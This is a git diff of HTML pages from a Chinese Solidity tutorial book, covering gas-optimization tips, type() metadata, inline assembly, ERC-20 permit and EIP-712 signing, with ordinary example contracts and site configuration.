    -            if (num % 2 == 0 && num < 99) {
    +            if (num % 2 == 0 && num < 99) {
                     _total += num;
                 }
             }
    @@ -3160,11 +3156,11 @@ 

    Solidity Gas Optimizations Tricks

    1. 使用最新版本solidity

    EVM的升级会带来gas的优化

    2. for循环优化

    -
    // 避免重复计算长度
    +
    // 避免重复计算长度
     uint length = arr.length;
    -// ++i 可以减少一次赋值,初始化i放在for里面
    -for (uint i; i < length;) {
    -      // unchecked可以减少溢出校验
    +// ++i 可以减少一次赋值,初始化i放在for里面
    +for (uint i; i < length;) {
    +      // unchecked可以减少溢出校验
         unchecked { ++i; }
     }
     
    @@ -3174,122 +3170,122 @@

    3. 使用calldata代替memory

    4. 尽量使用immutable代替state variable

    EIP-2929 对slot的操作引入了cold slot(消耗2100 gas)和warm slot(消耗100 gas)的概念,但是依然很贵,而修饰为immutable的变量会保存在bytecode中,使用时使用的是push,仅消耗3gas

    5. 使用immutable代替constant(计算keccak时)

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.9;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.9;
     
     contract Immutables is AccessControl {
         uint256 public gas;
         bytes32 public immutable MANAGER_ROLE_IMMUT;
     
    -      // 每次使用都需要重新计算hash值
    -    bytes32 public constant MANAGER_ROLE_CONST = keccak256('MANAGER_ROLE');
    +      // 每次使用都需要重新计算hash值
    +    bytes32 public constant MANAGER_ROLE_CONST = keccak256('MANAGER_ROLE');
     
    -    constructor(){
    -        // 仅在构造时计算hash一次
    -        MANAGER_ROLE_IMMUT = keccak256('MANAGER_ROLE');
    +    constructor(){
    +        // 仅在构造时计算hash一次
    +        MANAGER_ROLE_IMMUT = keccak256('MANAGER_ROLE');
             _setupRole(MANAGER_ROLE_CONST, msg.sender);
             _setupRole(MANAGER_ROLE_IMMUT, msg.sender);
         }
     
    -    function immutableCheck() external {
    +    function immutableCheck() external {
             gas = gasleft();
    -        require(hasRole(MANAGER_ROLE_IMMUT, msg.sender), 'Caller is not in manager role'); // 24408 gas
    +        require(hasRole(MANAGER_ROLE_IMMUT, msg.sender), 'Caller is not in manager role'); // 24408 gas
             gas -= gasleft();
         }
     
    -    function constantCheck() external {
    +    function constantCheck() external {
             gas = gasleft();
    -        require(hasRole(MANAGER_ROLE_CONST, msg.sender), 'Caller is not in manager role'); // 24419 gas
    +        require(hasRole(MANAGER_ROLE_CONST, msg.sender), 'Caller is not in manager role'); // 24419 gas
             gas -= gasleft();
         }
     }
     

    6. 使用modifier代替function

    经过对比,modifier合约的foo方法更加节约gas

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.9;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.9;
     
     contract Inlined {
    -    function isNotExpired(bool _true) internal view {
    -        require(_true == true, "Exchange: EXPIRED");
    +    function isNotExpired(bool _true) internal view {
    +        require(_true == true, "Exchange: EXPIRED");
         }
     
    -    function foo(bool _test) public returns(uint) {
    +    function foo(bool _test) public returns(uint) {
             isNotExpired(_test);
    -        return 1;
    +        return 1;
         }
     }
     
     contract Modifier {
    -    modifier isNotExpired(bool _true) {
    -        require(_true == true, "Exchange: EXPIRED");
    +    modifier isNotExpired(bool _true) {
    +        require(_true == true, "Exchange: EXPIRED");
             _;
         }
     
    -    function foo(bool _test) public isNotExpired(_test)returns(uint) {
    -        return 1;
    +    function foo(bool _test) public isNotExpired(_test)returns(uint) {
    +        return 1;
         }
     }
     

    7. modifier中使用internal函数减少合约size

    尽量将modifier中的条件判断逻辑写在单独的internal view函数中,可以减少合约size,从而减少gas消耗。

    以下代码中,onlyOwner在多处使用,使用越多节约效果越明显

    -
    pragma solidity ^0.8.10;
    +
    pragma solidity ^0.8.10;
     
     contract Context {
    -    function _msgSender() internal view returns(address) {
    -        return msg.sender;
    +    function _msgSender() internal view returns(address) {
    +        return msg.sender;
         }
     }
     
     contract Ownable is Context {
         address public owner = _msgSender();
     
    -    modifier onlyOwner() {
    -        require(owner == _msgSender(), "Ownable: caller is not the owner");
    +    modifier onlyOwner() {
    +        require(owner == _msgSender(), "Ownable: caller is not the owner");
             _;
         }
     }
     contract Ownable2 is Context {
         address public owner = _msgSender();
     
    -    modifier onlyOwner() {
    +    modifier onlyOwner() {
             _checkOwner();
             _;
         }
     
    -    function _checkOwner() internal view virtual {
    -        require(owner == _msgSender(), "Ownable: caller is not the owner");
    +    function _checkOwner() internal view virtual {
    +        require(owner == _msgSender(), "Ownable: caller is not the owner");
         }
     }
    -// This is deployment gas cost for each function
    -// 0: 107172
    -// 1: 145772
    -// 2: 181610
    -// 3: 198170
    -// 4: 214532
    -// 5: 241059
    +// This is deployment gas cost for each function
    +// 0: 107172
    +// 1: 145772
    +// 2: 181610
    +// 3: 198170
    +// 4: 214532
    +// 5: 241059
     contract T1 is Ownable {
         event Call(bytes4 selector);
    -    function f0() external onlyOwner() { emit Call(this.f0.selector); }
    -    function f1() external onlyOwner() { emit Call(this.f1.selector); }
    -    function f2() external onlyOwner() { emit Call(this.f2.selector); }
    -    function f3() external onlyOwner() { emit Call(this.f3.selector); }
    -    function f4() external onlyOwner() { emit Call(this.f4.selector); }
    +    function f0() external onlyOwner() { emit Call(this.f0.selector); }
    +    function f1() external onlyOwner() { emit Call(this.f1.selector); }
    +    function f2() external onlyOwner() { emit Call(this.f2.selector); }
    +    function f3() external onlyOwner() { emit Call(this.f3.selector); }
    +    function f4() external onlyOwner() { emit Call(this.f4.selector); }
     }
    -// 0: 107172
    -// 1: 147908
    -// 2: 165818
    -// 3: 183506
    -// 4: 192500
    -// 5: 211682
    +// 0: 107172
    +// 1: 147908
    +// 2: 165818
    +// 3: 183506
    +// 4: 192500
    +// 5: 211682
     contract T2 is Ownable2 {
         event Call(bytes4 selector);
    -    function f0() external onlyOwner() { emit Call(this.f0.selector); }
    -    function f1() external onlyOwner() { emit Call(this.f1.selector); }
    -    function f2() external onlyOwner() { emit Call(this.f2.selector); }
    -    function f3() external onlyOwner() { emit Call(this.f3.selector); }
    -    function f4() external onlyOwner() { emit Call(this.f4.selector); }
    +    function f0() external onlyOwner() { emit Call(this.f0.selector); }
    +    function f1() external onlyOwner() { emit Call(this.f1.selector); }
    +    function f2() external onlyOwner() { emit Call(this.f2.selector); }
    +    function f3() external onlyOwner() { emit Call(this.f3.selector); }
    +    function f4() external onlyOwner() { emit Call(this.f4.selector); }
     }
     

    验证结果:

    @@ -3299,41 +3295,41 @@

    8. >= is cheaper than >

    Non-strict inequalities (>=) are cheaper than strict ones (>). This is due to some supplementary checks (ISZERO, 3 gas)).

    uint256 public gas;
     
    -function checkStrict() external {
    +function checkStrict() external {
         gas = gasleft();
    -    require(999999999999999999 > 1); // gas 5017
    +    require(999999999999999999 > 1); // gas 5017
         gas -= gasleft();
     }
    -function checkNonStrict() external {
    +function checkNonStrict() external {
         gas = gasleft();
    -    require(999999999999999999 >= 1); // gas 5006
    +    require(999999999999999999 >= 1); // gas 5006
         gas -= gasleft(); 
     }
     

    9. 使用SHR和SHL来代替乘除法

    DIV使用5gas,SHR使用3gas,而且后者不用额外校验除数为0的逻辑,更加节约gas

    10. 使用多个require代替使用&&

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.9;
    -import "hardhat/console.sol";
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.9;
    +import "hardhat/console.sol";
     
     contract Requires {
         uint256 public gas;
     
    -    function check1(uint x) public {
    +    function check1(uint x) public {
             gas = gasleft();  
    -        console.log(gasleft());
    -        require(x == 0 && x < 1 ); // gas cost 22156
    -        console.log(gasleft());
    +        console.log(gasleft());
    +        require(x == 0 && x < 1 ); // gas cost 22156
    +        console.log(gasleft());
             gas -= gasleft();
         }
     
    -    function check2(uint x) public {
    +    function check2(uint x) public {
             gas = gasleft(); 
    -        console.log(gasleft());
    -        require(x == 0); // gas cost 22148
    -        require(x < 1);
    -        console.log(gasleft());
    +        console.log(gasleft());
    +        require(x == 0); // gas cost 22148
    +        require(x < 1);
    +        console.log(gasleft());
             gas -= gasleft();
         }
     }
    @@ -3349,15 +3345,15 @@ 

    13. 对状态变量进行cachi

    SLOAD:100gas

    MLOAD:3 gas

    14. 对结构体格外注意

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity 0.8.9;
    -import "hardhat/console.sol";
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity 0.8.9;
    +import "hardhat/console.sol";
     
     contract Requires {
         event Unlock(address _sender, uint256 _nftIndex, uint256 _amt);
     
    -    // struct LockPosition use 3 slots
    -    mapping(uint256 => LockPosition) positions;
    +    // struct LockPosition use 3 slots
    +    mapping(uint256 => LockPosition) positions;
     
         struct LockPosition {
             address owner;
    @@ -3365,18 +3361,41 @@ 

    14. 对结构体格外注意

    uint256 lockAmount; } - function unlock(uint256 _nftIndex) external { - // 3 SLOADs and 3 MSTORES - // 从storage读取三个变量,并且复制到memory中 - LockPosition memory position = positions[_nftIndex]; // gas: costing 3 SLOADs while only lockAmount is needed twice. + function unlock(uint256 _nftIndex) external { + // 3 SLOADs and 3 MSTORES + // 从storage读取三个变量,并且复制到memory中 + LockPosition memory position = positions[_nftIndex]; // gas: costing 3 SLOADs while only lockAmount is needed twice. + + //Replace "memory" with "storage" and cache only position.lockAmount + require(position.owner == msg.sender, "unauthorized"); + require(position.unlockAt <= block.timestamp, "locked"); + + delete positions[_nftIndex]; + payable(msg.sender).transfer(position.lockAmount); + + emit Unlock(msg.sender, _nftIndex, position.lockAmount); + } + + function unlockOptimize(uint256 _nftIndex) external { + LockPosition storage position = positions[_nftIndex]; + + uint256 amt = position.lockAmount; + + //Replace "memory" with "storage" and cache only position.lockAmount + require(position.owner == msg.sender, "unauthorized"); + require(position.unlockAt <= block.timestamp, "locked"); - //Replace "memory" with "storage" and cache only position.lockAmount - require(position.owner == msg.sender, "unauthorized"); - require(position.unlockAt
    + delete positions[_nftIndex]; + payable(msg.sender).transfer(amt); + + emit Unlock(msg.sender, _nftIndex, amt); + } +} +

    15. 复用非零值的状态变量更节约gas

    Writing to an Existing Storage Slot Is Cheaper Than Using a New One

    https://eips.ethereum.org/EIPS/eip-2200

    -
    EIP — 2200 changed a lot with gas, and now if you hold 1 Wei of a token it’s cheaper to use the token than if you hold 0. There is a lot to unpack here so just google EIP 2200 and learn if you want, but in general, if you need to use a storage slot, don’t empty it if you plan to refill it later.
    +
    EIP — 2200 changed a lot with gas, and now if you hold 1 Wei of a token it’s cheaper to use the token than if you hold 0. There is a lot to unpack here so just google EIP 2200 and learn if you want, but in general, if you need to use a storage slot, don’t empty it if you plan to refill it later.
     

    参考链接

      @@ -3411,7 +3430,7 @@

      参考链接

      @@ -3497,14 +3516,6 @@

      参考链接

      - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/17_type.html" "b/cn/02_solidity\350\277\233\351\230\266/17_type.html" index 668fe503..3125ebb2 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/17_type.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/17_type.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,9 +3024,61 @@

      第17节:type

    1. type(x).creattionCode: 合约部署时的bytecode;
    2. type(x).runtimeCode: 合约运行时的bytecode,一般是构造函数数据,但是当constructor中有汇编时会有不同(没有仔细了解)。
    3. -
      // SPDX-License-Identifier: GPL-3.0
      -
      -pragma solidity >=0.7.0 
      +
      // SPDX-License-Identifier: GPL-3.0
      +
      +pragma solidity >=0.7.0 <0.9.0;
      +
      +/**
      + * @title Storage
      + * @dev Store & retrieve value in a variable
      + */
      +contract Storage {
      +    string public str;
      +    constructor(string memory _str) {
      +        str = _str;
      +    }
      +
      +    uint256 number;
      +
      +
      +    /**
      +     * @dev Store value in variable
      +     * @param num value to store
      +     */
      +    function store(uint256 num) public {
      +        number = num;
      +    }
      +
      +    /**
      +     * @dev Return value 
      +     * @return value of 'number'
      +     */
      +    function retrieve() public view returns (uint256){
      +        return number;
      +    }
      +
      +    function getInfo() public pure returns(string memory name) {
      +        name = type(Storage).name;
      +
      +        // creationCode 和runtimeCode不能在这个合约自己内部使用,防止会出现循环调用问题
      +        // creationCode = type(Storage).creationCode;
      +        // runtimeCode = new type(Storage).runtimeCode;
      +
      +    }
      +}
      +
      +contract TestStorage {
      +    Storage s;
      +    constructor(Storage _address) {
      +        s = _address;
      +    }
      +
      +    function getInfo() public view returns(bytes memory creationCode, bytes memory runtimeCode) {
      +        creationCode = type(Storage).creationCode;
      +        runtimeCode = type(Storage).runtimeCode;
      +    }
      +}
      +

      更多内容:https://docs.soliditylang.org/en/v0.6.5/units-and-global-variables.html#meta-type

      @@ -3059,7 +3107,7 @@

      第17节:type

      @@ -3145,14 +3193,6 @@

      第17节:type

      - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/18_assembly.html" "b/cn/02_solidity\350\277\233\351\230\266/18_assembly.html" index d9f0c50b..d336371b 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/18_assembly.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/18_assembly.html" @@ -36,10 +36,6 @@ - - - - @@ -3035,8 +3031,54 @@

      节约gas

    4. 23082 gas -> sumAsm(次之)
    5. 22895 gas -> sumPureAsm(最高效)
    6. -
      // SPDX-License-Identifier: GPL-3.0
      -pragma solidity >=0.4.16 
      +
      // SPDX-License-Identifier: GPL-3.0
      +pragma solidity >=0.4.16 <0.9.0;
      +
      +library VectorSum {
      +    // This function is less efficient because the optimizer currently fails to
      +    // remove the bounds checks in array access.
      +    function sumSolidity(uint[] memory data) public pure returns (uint sum) {
      +        for (uint i = 0; i < data.length; ++i)
      +            sum += data[i];
      +    }
      +
      +    // We know that we only access the array in bounds, so we can avoid the check.
      +    // 0x20 needs to be added to an array because the first slot contains the
      +    // array length.
      +    function sumAsm(uint[] memory data) public pure returns (uint sum) {
      +        for (uint i = 0; i < data.length; ++i) {
      +            assembly {
      +                sum := add(sum, mload(add(add(data, 0x20), mul(i, 0x20))))
      +            }
      +        }
      +    }
      +
      +    // Same as above, but accomplish the entire code within inline assembly.
      +    function sumPureAsm(uint[] memory data) public pure returns (uint sum) {
      +        assembly {
      +            // Load the length (first 32 bytes)
      +            let len := mload(data)
      +
      +            // Skip over the length field.
      +            //
      +            // Keep temporary variable so it can be incremented in place.
      +            //
      +            // NOTE: incrementing data would result in an unusable
      +            //       data variable after this assembly block
      +            let dataElementLocation := add(data, 0x20)
      +
      +            // Iterate until the bound is not met.
      +            for
      +                { let end := add(dataElementLocation, mul(len, 0x20)) }
      +                lt(dataElementLocation, end)
      +                { dataElementLocation := add(dataElementLocation, 0x20) }
      +            {
      +                sum := add(sum, mload(dataElementLocation))
      +            }
      +        }
      +    }
      +}
      +

      其他文章

      1. https://jeancvllr.medium.com/solidity-tutorial-all-about-assembly-5acdfefde05c
      2. @@ -3068,7 +3110,7 @@

        其他文章

        @@ -3154,14 +3196,6 @@

        其他文章

        - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/19_merkleTree.html" "b/cn/02_solidity\350\277\233\351\230\266/19_merkleTree.html" index 9f00a6b5..7867dbca 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/19_merkleTree.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/19_merkleTree.html" @@ -36,10 +36,6 @@ - - - - @@ -3049,7 +3045,7 @@

        第19节:MerkleTreee

        @@ -3135,14 +3131,6 @@

        第19节:MerkleTreee

        - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/20_signature.html" "b/cn/02_solidity\350\277\233\351\230\266/20_signature.html" index e9f1f091..55ef2ba4 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/20_signature.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/20_signature.html" @@ -36,10 +36,6 @@ - - - - @@ -3061,7 +3057,7 @@

        第20节:链下签名signatur @@ -3147,14 +3143,6 @@

        第20节:链下签名signatur - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/21_permit.html" "b/cn/02_solidity\350\277\233\351\230\266/21_permit.html" index 2032ffd6..6c40e4bb 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/21_permit.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/21_permit.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,27 +3022,27 @@

        第21节:permit

        permit接口

        根据EIP-2612的提议,对于ERC20的先授权,再transferFrom模式,用户EOA需要进行两笔交易操作,这样浪费资源,且交互不友好,解决方式是在原有的ERC20接口中,增加一个perimit接口,这个接口可以接收链下的签名(r, s, v),在内部进行校验,如果校验通过后可以进行approve操作。

        这个签名中会描述授权给谁进行帮忙approve,被授权的人在合约中可以一次调用approve和transferFrom,从而完成:通过一笔交易而完成转账动作。

        -
        // SPDX-License-Identifier: MIT
        -pragma solidity ^0.8;
        +
        // SPDX-License-Identifier: MIT
        +pragma solidity ^0.8;
         
         interface IERC20Permit {
        -    function totalSupply() external view returns (uint);
        +    function totalSupply() external view returns (uint);
         
        -    function balanceOf(address account) external view returns (uint);
        +    function balanceOf(address account) external view returns (uint);
         
        -    function transfer(address recipient, uint amount) external returns (bool);
        +    function transfer(address recipient, uint amount) external returns (bool);
         
        -    function allowance(address owner, address spender) external view returns (uint);
        +    function allowance(address owner, address spender) external view returns (uint);
         
        -    function approve(address spender, uint amount) external returns (bool);
        +    function approve(address spender, uint amount) external returns (bool);
         
        -    function transferFrom(
        +    function transferFrom(
                 address sender,
                 address recipient,
                 uint amount
        -    ) external returns (bool);
        +    ) external returns (bool);
         
        -    function permit(
        +    function permit(
                 address owner,
                 address spender,
                 uint value,
        @@ -3054,9 +3050,9 @@ 

        permit接口

        uint8 v, bytes32 r, bytes32 s - ) external; +
        ) external
        ; - event Transfer(address indexed from, address indexed to, uint value); + event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); }
        @@ -3077,46 +3073,46 @@

        permit实现

      3. 调用approve(或者直接操作allowance)

      下面是uniswapV2的LPToken中的permit实现:

      -
          function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
      +
          function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
       
      -          // 第一部分
      -          // 1. 校验deadline
      -        require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
      +          // 第一部分
      +          // 1. 校验deadline
      +        require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
       
      -          // 2. 获取签名的信息(一个hash值,我们对hash值签名,而不是对原内容签名)
      +          // 2. 获取签名的信息(一个hash值,我们对hash值签名,而不是对原内容签名)
               bytes32 digest = keccak256(
                   abi.encodePacked(
      -                '\x19\x01',
      +                '\x19\x01',
                       DOMAIN_SEPARATOR,
                       keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
                   )
               );
       
      -          // 3. 使用签名,对签名信息进行校验,能够解析出来签名地址。
      +          // 3. 使用签名,对签名信息进行校验,能够解析出来签名地址。
               address recoveredAddress = ecrecover(digest, v, r, s);
       
      -          // 4. 校验签名地址是否有效
      -        require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); // onwer入参,这个token的所有者,授权给spender花费
      +          // 4. 校验签名地址是否有效
      +        require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); // onwer入参,这个token的所有者,授权给spender花费
       
      -          // 第二部分
      +          // 第二部分
               _approve(owner, spender, value);
           }
       

      以上第一步是标准的实现,其中:

      1. PERMIT_TYPEHASH:

        -
        // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
        -bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
        +
        // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
        +bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
         
      2. DOMAIN_SEPARATOR:

        DOMAIN_SEPARATOR = keccak256(
                     abi.encode(
        -                keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
        -                keccak256(bytes(name)),  // name 为token的name字段
        -                keccak256(bytes('1')),
        +                keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
        +                keccak256(bytes(name)),  // name 为token的name字段
        +                keccak256(bytes('1')),
                         chainId,
        -                address(this)
        +                address(this)
                     )
                 );
         
        @@ -3149,7 +3145,7 @@

        permit实现

        @@ -3235,14 +3231,6 @@

        permit实现

        - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/22_math.html" "b/cn/02_solidity\350\277\233\351\230\266/22_math.html" index eb070c04..d75e1c0e 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/22_math.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/22_math.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,7 +3046,7 @@

        第22节:数学操作

        @@ -3136,14 +3132,6 @@

        第22节:数学操作

        - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/23_timelock.html" "b/cn/02_solidity\350\277\233\351\230\266/23_timelock.html" index 8d885b05..a29f966e 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/23_timelock.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/23_timelock.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,7 +3046,7 @@

        第23节:timelock时间锁

        @@ -3136,14 +3132,6 @@

        第23节:timelock时间锁

        - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/24_upgrade.html" "b/cn/02_solidity\350\277\233\351\230\266/24_upgrade.html" index 4abd3a65..f613cb99 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/24_upgrade.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/24_upgrade.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,7 +3046,7 @@

        第24节:可升级合约upgrade

        var gitbook = gitbook || []; gitbook.push(function() { - gitbook.page.hasChanged({"page":{"title":"第24节:upgrade","level":"1.9.24","depth":2,"next":{"title":"第25节:eventLog","level":"1.9.25","depth":2,"path":"02_solidity进阶/25_eventLog.md","ref":"02_solidity进阶/25_eventLog.md","articles":[]},"previous":{"title":"第23节:timelock","level":"1.9.23","depth":2,"path":"02_solidity进阶/23_timelock.md","ref":"02_solidity进阶/23_timelock.md","articles":[]},"dir":"ltr"},"config":{"plugins":["heading-anchors@1.0.3","ga@1.0.1","richquotes@0.0.9","github@2.0.0","language-picker","toggle-chapters","codeblock-label","-search","-lunr","page-toc-button","include-codeblock","js-console","honkit-plugin-mermaid"],"root":"./","styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"pluginsConfig":{"language-picker":{"grid-columns":3},"github":{"url":"https://github.com/dukedaily/solidity-expert"},"codeblock-label":{},"honkit-plugin-mermaid":{"theme":"default"},"fontsettings":{"theme":"white","family":"sans","size":2},"js-console":{},"richquotes":{"default":false},"heading-anchors":{},"highlight":{},"page-toc-button":{},"ga":{"configuration":"auto","token":"UA-51680040-3"},"include-codeblock":{"check":false,"edit":false,"lang":"","fixlang":false,"template":"default","theme":"chrome","unindent":false},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false},"toggle-chapters":{}},"theme":"default","pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56},"embedFonts":false},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"variables":{"esversion":"2022","nodeversion":"18.12.0","npmversion":"8.19.2","triplebackticks":"```","console":""},"language":"cn","gitbook":"*"},"file":{"path":"02_solidity进阶/24_upgrade.md","mtime":"2023-09-23T13:15:24.502Z","type":"markdown"},"gitbook":{"version":"3.7.3","time":"2024-08-23T16:27:32.019Z"},"basePath":"..","book":{"language":"cn"}}); + gitbook.page.hasChanged({"page":{"title":"第24节:upgrade","level":"1.9.24","depth":2,"next":{"title":"第25节:eventLog","level":"1.9.25","depth":2,"path":"02_solidity进阶/25_eventLog.md","ref":"02_solidity进阶/25_eventLog.md","articles":[]},"previous":{"title":"第23节:timelock","level":"1.9.23","depth":2,"path":"02_solidity进阶/23_timelock.md","ref":"02_solidity进阶/23_timelock.md","articles":[]},"dir":"ltr"},"config":{"plugins":["heading-anchors@1.0.3","ga@1.0.1","richquotes@0.0.9","github@2.0.0","language-picker","toggle-chapters","codeblock-label","-search","-lunr","page-toc-button","include-codeblock","js-console"],"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"pluginsConfig":{"language-picker":{"grid-columns":3},"github":{"url":"https://github.com/dukedaily/solidity-expert"},"codeblock-label":{},"fontsettings":{"theme":"white","family":"sans","size":2},"js-console":{},"richquotes":{"default":false},"heading-anchors":{},"highlight":{},"page-toc-button":{},"ga":{"configuration":"auto","token":"UA-51680040-3"},"include-codeblock":{"check":false,"edit":false,"lang":"","fixlang":false,"template":"default","theme":"chrome","unindent":false},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false},"toggle-chapters":{}},"theme":"default","pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56},"embedFonts":false},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"variables":{},"language":"cn","gitbook":"*"},"file":{"path":"02_solidity进阶/24_upgrade.md","mtime":"2023-09-23T13:15:24.502Z","type":"markdown"},"gitbook":{"version":"3.7.3","time":"2024-08-24T00:11:31.715Z"},"basePath":"..","book":{"language":"cn"}}); }); @@ -3136,14 +3132,6 @@

        第24节:可升级合约upgrade

        - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/25_eventLog.html" "b/cn/02_solidity\350\277\233\351\230\266/25_eventLog.html" index ef8dfdf0..12b26f0e 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/25_eventLog.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/25_eventLog.html" @@ -36,10 +36,6 @@ - - - - @@ -3045,7 +3041,7 @@

        Event

        描述

        发送一笔交易之后,我们可以得到tx交易的返回值,在返回值中会包含TransactionRecept字段,进一步会发现Event,指定id可以获取这个事件的详情,进一步会获得每个字段的具体数值。

        -
        console.log(transactionReceipt.events[0].args.oldNumber.toString())
        +
        console.log(transactionReceipt.events[0].args.oldNumber.toString())
         

        Bloom

        以太坊的Header中有布隆过滤器,这里面存放的是什么?(是所有事件生成的信息),当有索引过来的时候,我们会去重新生成事件。

        @@ -3082,7 +3078,7 @@

        Bloom

        @@ -3168,14 +3164,6 @@

        Bloom

        - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/26_selfdestruct.html" "b/cn/02_solidity\350\277\233\351\230\266/26_selfdestruct.html" index ad2780eb..de31311f 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/26_selfdestruct.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/26_selfdestruct.html" @@ -36,10 +36,6 @@ - - - - @@ -3056,7 +3052,7 @@

        第26节:合约自杀(sel @@ -3142,14 +3138,6 @@

        第26节:合约自杀(sel - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/27_permit2.html" "b/cn/02_solidity\350\277\233\351\230\266/27_permit2.html" index 2416185e..3d963321 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/27_permit2.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/27_permit2.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,7 +3046,7 @@

        第27节:Permit2

        @@ -3136,14 +3132,6 @@

        第27节:Permit2

        - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/28_signature-eip712.html" "b/cn/02_solidity\350\277\233\351\230\266/28_signature-eip712.html" index 656e2b7f..365a3ca9 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/28_signature-eip712.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/28_signature-eip712.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,59 +3025,59 @@

        第28节:signature-EIP712

      3. 手册:https://docs.ethers.org/v5/api/signer/#Signer-signTypedData

      这是官方示例代码:

      -
      // All properties on a domain are optional
      -const domain = {
      -    name: 'Ether Mail',
      -    version: '1',
      -    chainId: 1,
      -    verifyingContract: '0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC'
      +
      // All properties on a domain are optional
      +const domain = {
      +    name: 'Ether Mail',
      +    version: '1',
      +    chainId: 1,
      +    verifyingContract: '0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC'
       };
       
      -// The named list of all type definitions
      -const types = {
      -    Person: [
      -        { name: 'name', type: 'string' },
      -        { name: 'wallet', type: 'address' }
      +// The named list of all type definitions
      +const types = {
      +    Person: [
      +        { name: 'name', type: 'string' },
      +        { name: 'wallet', type: 'address' }
           ],
      -    Mail: [
      -        { name: 'from', type: 'Person' },
      -        { name: 'to', type: 'Person' },
      -        { name: 'contents', type: 'string' }
      +    Mail: [
      +        { name: 'from', type: 'Person' },
